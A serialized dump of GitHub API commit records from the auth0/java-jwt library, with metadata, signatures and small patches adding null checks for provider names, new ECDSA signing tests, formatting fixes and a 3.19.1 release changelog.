+  tags:uau(20331d34ea2dee3510522f774b24b478019730a5}(sha(20331d34ea2dee3510522f774b24b478019730a5node_idEC_kwDOAQtL0doAKDIwMzMxZDM0ZWEyZGVlMzUxMDUyMmY3NzRiMjRiNDc4MDE5NzMwYTUcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T06:31:15Zu	committer}(j  António Pedro Santosj  aps@dnxt.ptj	  2022-09-26T06:31:15ZumessageIncrease test coveragetree}(j  (a66cdf22e46530bb3a724b4f876dfb6f98afd092url^https://api.github.com/repos/auth0/java-jwt/git/trees/a66cdf22e46530bb3a724b4f876dfb6f98afd092uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/20331d34ea2dee3510522f774b24b478019730a5
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzFHMwAKCRAQJVoVuKaC
BndPAP9ZNklOqlrqmqbdOXU4LQCVwtVYkvB+oJtpKPtuoWY8AgEA/fa/8V3ECNou
/fbc9d4GEBhQqzb8D11ovijk+Bz4hg4=
=5rvp
-----END PGP SIGNATURE-----payloadtree a66cdf22e46530bb3a724b4f876dfb6f98afd092
parent 19a2847cf9050ebc2a3a95e6faa729d123f6944a
author António Pedro Santos <aps@dnxt.pt> 1664173875 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664173875 +0100

Increase test coverage
uuj  \https://api.github.com/repos/auth0/java-jwt/commits/20331d34ea2dee3510522f774b24b478019730a5html_urlQhttps://github.com/auth0/java-jwt/commit/20331d34ea2dee3510522f774b24b478019730a5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/20331d34ea2dee3510522f774b24b478019730a5/commentsj  }(loginaps-dnxtidJj  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3j  %https://api.github.com/users/aps-dnxtj#  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminuj  }(j(  aps-dnxtj*  Jj  MDQ6VXNlcjc3NDYxNDA0j,  4https://avatars.githubusercontent.com/u/77461404?v=4j.  h3j  %https://api.github.com/users/aps-dnxtj#  https://github.com/aps-dnxtj1  /https://api.github.com/users/aps-dnxt/followersj3  <https://api.github.com/users/aps-dnxt/following{/other_user}j5  5https://api.github.com/users/aps-dnxt/gists{/gist_id}j7  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}j9  3https://api.github.com/users/aps-dnxt/subscriptionsj;  *https://api.github.com/users/aps-dnxt/orgsj=  +https://api.github.com/users/aps-dnxt/reposj?  6https://api.github.com/users/aps-dnxt/events{/privacy}jA  5https://api.github.com/users/aps-dnxt/received_eventsjC  UserjE  uparents]}(j  (19a2847cf9050ebc2a3a95e6faa729d123f6944aj  \https://api.github.com/repos/auth0/java-jwt/commits/19a2847cf9050ebc2a3a95e6faa729d123f6944aj#  Qhttps://github.com/auth0/java-jwt/commit/19a2847cf9050ebc2a3a95e6faa729d123f6944auastats}(totalKm	additionsK_	deletionsKufiles](}(j  (7555d9236b540371518c2bb461da232e541505f7filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj_  Kj`  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=20331d34ea2dee3510522f774b24b478019730a5patchXw  @@ -382,6 +382,10 @@ public String toString() {
 
     public void verify(DecodedJWT jwt, String providerName)
             throws SignatureVerificationException, NoSuchProviderException {
+        if (providerName == null) {
+            throw new IllegalArgumentException("providerName cannot be null");
+        }
+
         Provider provider = Security.getProvider(providerName);
         if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
@@ -437,6 +441,10 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      */
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName)
             throws SignatureGenerationException, NoSuchProviderException {
+        if (providerName == null) {
+            throw new IllegalArgumentException("providerName cannot be null");
+        }
+
         Provider provider = Security.getProvider(providerName);
         if (provider == null) {
             throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));u}(j  (90cba65f96d196cb230834080f7a4ef99c56aeffje  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javajg  modifiedj_  Kj`  K ji  Kjj  https://github.com/auth0/java-jwt/blob/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajl  https://github.com/auth0/java-jwt/raw/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajn  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=20331d34ea2dee3510522f774b24b478019730a5jp  @@ -9,6 +9,7 @@
 
 import java.io.ByteArrayOutputStream;
 import java.nio.charset.StandardCharsets;
+import java.security.NoSuchProviderException;
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;u}(j  (6da41fc2f16c776ce5c256b13cf7c566b195a686je  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javajg  modifiedj_  Kj`  Kji  K*jj  https://github.com/auth0/java-jwt/blob/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javajl  https://github.com/auth0/java-jwt/raw/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javajn  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=20331d34ea2dee3510522f774b24b478019730a5jp  X  @@ -1,35 +1,49 @@
 package com.auth0.jwt.algorithms;
 
 import java.nio.charset.StandardCharsets;
+import java.security.NoSuchProviderException;
+import java.security.Provider;
 import java.util.Base64;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 import static org.junit.Assert.fail;
 
 public abstract class CryptoTestHelper {
 
     private static final Pattern authHeaderPattern = Pattern.compile("^([\\w-]+)\\.([\\w-]+)\\.([\\w-]+)");
 
-	public static String asJWT(Algorithm algorithm, String header, String payload) {
-	    byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
-	    String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
-	    return String.format("%s.%s.%s", header, payload, jwtSignature);
-	}
-	
-	public static void assertSignatureValue(String jwt, String expectedSignature) {
-		String jwtSignature = jwt.substring(jwt.lastIndexOf('.') + 1);
+    public static String asJWT(Algorithm algorithm, String header, String payload) {
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        return String.format("%s.%s.%s", header, payload, jwtSignature);
+    }
+
+    public static String asJWT(Algorithm algorithm, String header, String payload, String providerName) throws NoSuchProviderException {
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), providerName);
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        return String.format("%s.%s.%s", header, payload, jwtSignature);
+    }
+
+    public static String asJWT(Algorithm algorithm, String header, String payload, Provider provider) {
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), provider);
+        String jwtSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);
+        return String.format("%s.%s.%s", header, payload, jwtSignature);
+    }
+
+    public static void assertSignatureValue(String jwt, String expectedSignature) {
+        String jwtSignature = jwt.substring(jwt.lastIndexOf('.') + 1);
         assertThat(jwtSignature, is(expectedSignature));
-	}
-	
-	public static void assertSignaturePresent(String jwt) {
+    }
+
+    public static void assertSignaturePresent(String jwt) {
         Matcher matcher = authHeaderPattern.matcher(jwt);
         if (!matcher.find() || matcher.groupCount() < 3) {
             fail("No signature present in " + jwt);
         }
-        
+
         assertThat(matcher.group(3), not(is(emptyString())));
-	}
+    }
 }u}(j  (c1d9a925abaed1b2bec04c2aa096e3380c29e078je  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajg  modifiedj_  K:j`  K ji  K:jj  https://github.com/auth0/java-jwt/blob/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajl  https://github.com/auth0/java-jwt/raw/20331d34ea2dee3510522f774b24b478019730a5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajn  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=20331d34ea2dee3510522f774b24b478019730a5jp  X  @@ -860,6 +860,38 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         algorithm.sign(ES256HeaderBytes, new byte[0]);
     }
 
+    @Test
+    public void shouldThrowOnSignWhenProviderDoesNotExists() throws Exception {
+        exception.expect(NoSuchProviderException.class);
+        exception.expectMessage("No provider named [some-provider] installed");
+
+        CryptoHelper crypto = mock(CryptoHelper.class);
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), anyString()))
+                .thenThrow(NoSuchAlgorithmException.class);
+
+        ECPublicKey publicKey = mock(ECPublicKey.class);
+        ECPrivateKey privateKey = mock(ECPrivateKey.class);
+        ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
+        Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
+        algorithm.sign(ES256HeaderBytes, new byte[0], "some-provider");
+    }
+
+    @Test
+    public void shouldThrowOnSignWhenProviderIsNull() throws Exception {
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("providerName cannot be null");
+
+        CryptoHelper crypto = mock(CryptoHelper.class);
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), anyString()))
+                .thenThrow(NoSuchAlgorithmException.class);
+
+        ECPublicKey publicKey = mock(ECPublicKey.class);
+        ECPrivateKey privateKey = mock(ECPrivateKey.class);
+        ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
+        Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
+        algorithm.sign(ES256HeaderBytes, new byte[0], (String) null);
+    }
+
     @Test
     public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expect(SignatureGenerationException.class);
@@ -984,6 +1016,32 @@ public void shouldSignAndVerifyWithECDSA256() throws Exception {
         }
     }
 
+    @Test
+    public void shouldSignAndVerifyWithProviderByName() throws Exception {
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(
+                (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"),
+                (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        for (int i = 0; i < 10; i++) {
+            String jwt = asJWT(algorithm256, header256, body, Security.getProvider("SunEC").getName());
+            algorithm256.verify(JWT.decode(jwt),Security.getProvider("SunEC").getName());
+        }
+    }
+
+    @Test
+    public void shouldSignAndVerifyWithProviderByInstance() throws Exception {
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        String header256 = "eyJhbGciOiJFUzI1NiJ9";
+        String body = "eyJpc3MiOiJhdXRoMCJ9";
+
+        for (int i = 0; i < 10; i++) {
+            String jwt = asJWT(algorithm256, header256, body, Security.getProvider("SunEC"));
+            algorithm256.verify(JWT.decode(jwt), Security.getProvider("SunEC"));
+        }
+    }
+
     @Test
     public void shouldSignAndVerifyWithECDSA384() throws Exception {
         ECDSAAlgorithm algorithm384 = (ECDSAAlgorithm) Algorithm.ECDSA384((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_384, "EC"));ueu(55eeea9ec4f7aa5857faac3bc1454ce67eaadb68}(sha(55eeea9ec4f7aa5857faac3bc1454ce67eaadb68node_idEC_kwDOAQtL0doAKDU1ZWVlYTllYzRmN2FhNTg1N2ZhYWMzYmMxNDU0Y2U2N2VhYWRiNjgcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-08-25T01:45:18Zu	committer}(j  GitHubj  noreply@github.comj  2022-08-25T01:45:18ZumessageUpdate TokenUtils.javatree}(j  (13fcfa3f7ce63d2058b412805701b11ac37d93daurl^https://api.github.com/repos/auth0/java-jwt/git/trees/13fcfa3f7ce63d2058b412805701b11ac37d93dauj  `https://api.github.com/repos/auth0/java-jwt/git/commits/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjBtQuCRBK7hj4Ov3rIwAAH58IAGxyki9uZivtNawEV6qnGBf0
6ykG+JdHaG95fw4I7oIgEE8iWK00lcgsmS/JuPnQVbXXkSo6+n8E+V1qr3XIBiLZ
ZLWJiEKcIPVKqqyhLnF319qNUkXKxdF15mJjZIQ3qjH23W8w405RZQzdunYOCtlm
wWamAWvpZqVsY9cOUb+DvrydWxSyobJmMjE8Zr0wcggmVs7Bn8WWMQtCCu4F/48J
vU52nQYNz2JNI40XEIF60r73gFO41baVEuCCPzK9J9XHizAHlZ789tj9njc9VhHH
ALvpV7CZSZ6svQGvFgtEEI5Lzglr4+cx/wuD/M2IjE8sUx9VRa9BEbXvtNtWzNA=
=lpnc
-----END PGP SIGNATURE-----
payloadtree 13fcfa3f7ce63d2058b412805701b11ac37d93da
parent 3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9
author Jim Anderson <jimranderson@gmail.com> 1661391918 -0500
committer GitHub <noreply@github.com> 1661391918 -0500

Update TokenUtils.javauuj  \https://api.github.com/repos/auth0/java-jwt/commits/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68html_urlQhttps://github.com/auth0/java-jwt/commit/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9j  \https://api.github.com/repos/auth0/java-jwt/commits/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9j  Qhttps://github.com/auth0/java-jwt/commit/3c711522f09bc1d6a8be2eb93559f1f8a91ff3a9uastats}(totalK	additionsK	deletionsKufiles]}(j  (b453876db8958c3a5901c84b28358925d9cebd73filename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/55eeea9ec4f7aa5857faac3bc1454ce67eaadb68/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=55eeea9ec4f7aa5857faac3bc1454ce67eaadb68patchX`  @@ -13,7 +13,7 @@ abstract class TokenUtils {
      */
     static String[] splitToken(String token) throws JWTDecodeException {
         if (token == null) {
-           throw new JWTDecodeException("The token is null");
+            throw new JWTDecodeException("The token is null");
         }
         
         String[] parts = token.split("\\.");uau(a12909a3145539f1112c44e393ee450bc3e05bf5}(sha(a12909a3145539f1112c44e393ee450bc3e05bf5node_idEC_kwDOAQtL0doAKGExMjkwOWEzMTQ1NTM5ZjExMTJjNDRlMzkzZWU0NTBiYzNlMDViZjUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-19T15:12:01Zu	committer}(j  GitHubj
  noreply@github.comj  2022-10-19T15:12:01Zumessage,Merge branch 'master' into reenable-api-difftree}(j  (33889ee3358292e1472727cf581f3a5d19360f0eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/33889ee3358292e1472727cf581f3a5d19360f0euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/a12909a3145539f1112c44e393ee450bc3e05bf5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUBPBCRBK7hj4Ov3rIwAAPqkIAB2GttUq5Mke4l1JYdrRnwKc
TJT9LUmAD+HqGEHmGHfch8PvWZ0hMEo3dkd6HXFBuwjyfbtpFeWwVp/GdLoIF2Po
uU59/TwsXIg9lSNdCq31bdZMcf0877Tyg5K59+kxWTfNtqq9Pu6eVHCBfCXnbEo7
VdnIh1EBJ//twVWE77jOUtoSi4B5X/Swk/ezTEd5+YTRLCqeE4DAx0WoAVgbx6Zg
6mv09Kxy2fvK8wBD2gunRebJws+wrtzxcu6zqxjjUld1bcE0lZKcql8yT6CrUjmQ
xi0F2GB8tavBJ3hWCPZF6RXiWpSMATiop/IOeComurQ9bGHg+J2IfCl8zloynNg=
=IfAO
-----END PGP SIGNATURE-----
payloadX0  tree 33889ee3358292e1472727cf581f3a5d19360f0e
parent bb7acf4293fbe21896f33bdd236da239390e1b26
parent 02c9d168e2af4a20b13028c3083212eed72ac399
author Jim Anderson <jim.anderson@auth0.com> 1666192321 -0500
committer GitHub <noreply@github.com> 1666192321 -0500

Merge branch 'master' into reenable-api-diffuuj  \https://api.github.com/repos/auth0/java-jwt/commits/a12909a3145539f1112c44e393ee450bc3e05bf5html_urlQhttps://github.com/auth0/java-jwt/commit/a12909a3145539f1112c44e393ee450bc3e05bf5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a12909a3145539f1112c44e393ee450bc3e05bf5/commentsj	  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj)  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j.  web-flowj0  J/j  MDQ6VXNlcjE5ODY0NDQ3j2  4https://avatars.githubusercontent.com/u/19864447?v=4j4  h3j  %https://api.github.com/users/web-flowj)  https://github.com/web-flowj7  /https://api.github.com/users/web-flow/followersj9  <https://api.github.com/users/web-flow/following{/other_user}j;  5https://api.github.com/users/web-flow/gists{/gist_id}j=  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j?  3https://api.github.com/users/web-flow/subscriptionsjA  *https://api.github.com/users/web-flow/orgsjC  +https://api.github.com/users/web-flow/reposjE  6https://api.github.com/users/web-flow/events{/privacy}jG  5https://api.github.com/users/web-flow/received_eventsjI  UserjK  uparents](}(j  (bb7acf4293fbe21896f33bdd236da239390e1b26j  \https://api.github.com/repos/auth0/java-jwt/commits/bb7acf4293fbe21896f33bdd236da239390e1b26j)  Qhttps://github.com/auth0/java-jwt/commit/bb7acf4293fbe21896f33bdd236da239390e1b26u}(j  (02c9d168e2af4a20b13028c3083212eed72ac399j  \https://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399j)  Qhttps://github.com/auth0/java-jwt/commit/02c9d168e2af4a20b13028c3083212eed72ac399uestats}(totalK	additionsK	deletionsK ufiles]}(j  (009a5ec0b603392187fd2496260186b5032335e9filenameopslevel.ymlstatusaddedji  Kjj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/a12909a3145539f1112c44e393ee450bc3e05bf5/opslevel.ymlraw_url[https://github.com/auth0/java-jwt/raw/a12909a3145539f1112c44e393ee450bc3e05bf5/opslevel.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/opslevel.yml?ref=a12909a3145539f1112c44e393ee450bc3e05bf5patchQ@@ -0,0 +1,6 @@
+---
+version: 1
+repository:
+  owner: dx_sdks
+  tier:
+  tags:uau(9793478af856483af7b1e75cd8d66096df77b18f}(sha(9793478af856483af7b1e75cd8d66096df77b18fnode_idEC_kwDOAQtL0doAKDk3OTM0NzhhZjg1NjQ4M2FmN2IxZTc1Y2Q4ZDY2MDk2ZGY3N2IxOGYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-30T08:39:19Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-30T08:39:19ZumessageRelease 3.19.1tree}(j~  (9e10192a40322f16a715a00e9f9fe5e4867a5938url^https://api.github.com/repos/auth0/java-jwt/git/trees/9e10192a40322f16a715a00e9f9fe5e4867a5938uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/9793478af856483af7b1e75cd8d66096df77b18f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/9793478af856483af7b1e75cd8d66096df77b18fhtml_urlQhttps://github.com/auth0/java-jwt/commit/9793478af856483af7b1e75cd8d66096df77b18fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9793478af856483af7b1e75cd8d66096df77b18f/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j~  (dd22f32d5cfcffd6066a5ce949bcc58481cc2f5aj  \https://api.github.com/repos/auth0/java-jwt/commits/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5aj  Qhttps://github.com/auth0/java-jwt/commit/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5auastats}(totalK
	additionsK	deletionsKufiles](}(j~  (a022328d119faa92e3fb0df85df3d6fc14dd0f4dfilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/9793478af856483af7b1e75cd8d66096df77b18f/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/9793478af856483af7b1e75cd8d66096df77b18f/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=9793478af856483af7b1e75cd8d66096df77b18fpatchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
+
+**Security**
+- Security: Bump `jackson-databind` to 2.13.2.2 [\#566](https://github.com/auth0/java-jwt/pull/566) ([evansims](https://github.com/evansims))
+
 ## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
 u}(j~  (260f6d6e6f1dc383f73e28211a59a1cb6cb2535fj  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/9793478af856483af7b1e75cd8d66096df77b18f/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/9793478af856483af7b1e75cd8d66096df77b18f/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=9793478af856483af7b1e75cd8d66096df77b18fj  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.0</version>
+    <version>3.19.1</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
+implementation 'com.auth0:java-jwt:3.19.1'
 ```
 
 ## Available Algorithmsueu(c36ec6ff80c0d62668a5ae726f9198d3ca587a17}(sha(c36ec6ff80c0d62668a5ae726f9198d3ca587a17node_idEC_kwDOAQtL0doAKGMzNmVjNmZmODBjMGQ2MjY2OGE1YWU3MjZmOTE5OGQzY2E1ODdhMTccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-08-22T08:51:52Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-08-22T08:51:52ZumessageMake JWT constants final valuestree}(j  (1c355a12245d3b2a5395b4fe16db2d87a26f874aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/1c355a12245d3b2a5395b4fe16db2d87a26f874auj  `https://api.github.com/repos/auth0/java-jwt/git/commits/c36ec6ff80c0d62668a5ae726f9198d3ca587a17
